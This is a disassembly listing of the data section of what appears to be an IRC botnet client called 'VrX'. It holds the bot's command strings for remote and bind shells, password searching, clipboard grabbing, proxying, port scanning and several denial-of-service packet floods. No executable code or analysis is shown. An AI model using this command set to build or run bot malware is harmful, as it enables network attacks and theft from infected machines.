dword_42BBC4	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBF8	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC38	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC64	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 10h
dword_42BCA0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCC8	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCD8	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCE4	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCF4	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BD04	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD34	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 10h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD84	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 10h
unk_42BDB0	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDC8	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BE04	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE24	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE28	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 10h
unk_42BE40	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE78	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE90	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BEA8	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 10h
unk_42BEC0	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BED8	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF14	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF38	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF58	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 10h
unk_42BF70	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 10h
unk_42BF90	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFB8	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFE4	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 10h
dword_42C000	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C018	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C044	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C068	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C094	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_42C0C0	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C120	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C15C	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C198	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1D4	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C210	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C244	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C264	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C29C	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2D8	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C358	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C394	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3D0	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C450	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4F8	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 4
unk_42C52C	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C55C	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C570	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C574	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C580	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 10h
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 10h
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 10h
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438B4Co
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C634	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C658	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1633o
					; ___:00438B9Co
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 10h
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_4387B8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 4
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C718	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C738	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 4
dword_42C75C	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 4
dword_42C7AC	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C828	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C838	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C848	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C858	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C868	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C874	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C880	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C88C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C8A4	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8B0	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8C8	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8D8	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8F4	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C904	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 10h
dword_42C920	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C92C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C940	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C94C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C958	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C964	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C974	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C994	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C9A0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9B4	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 10h
dword_42C9D0	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 4
dword_42C9EC	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA14	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 10h
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAB8:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 10h
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
asc_42CAF8:				; DATA XREF: sub_401ACD+A9Fo
		unicode	0, <l>,0
aH4ck3d		db 'H4CK3D',0           ; DATA XREF: sub_401ACD+A87o
		align 4
unk_42CB04	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB38	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB68	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CBA0	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBC8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC48	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC60	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC68	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC84	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC90	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC94	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
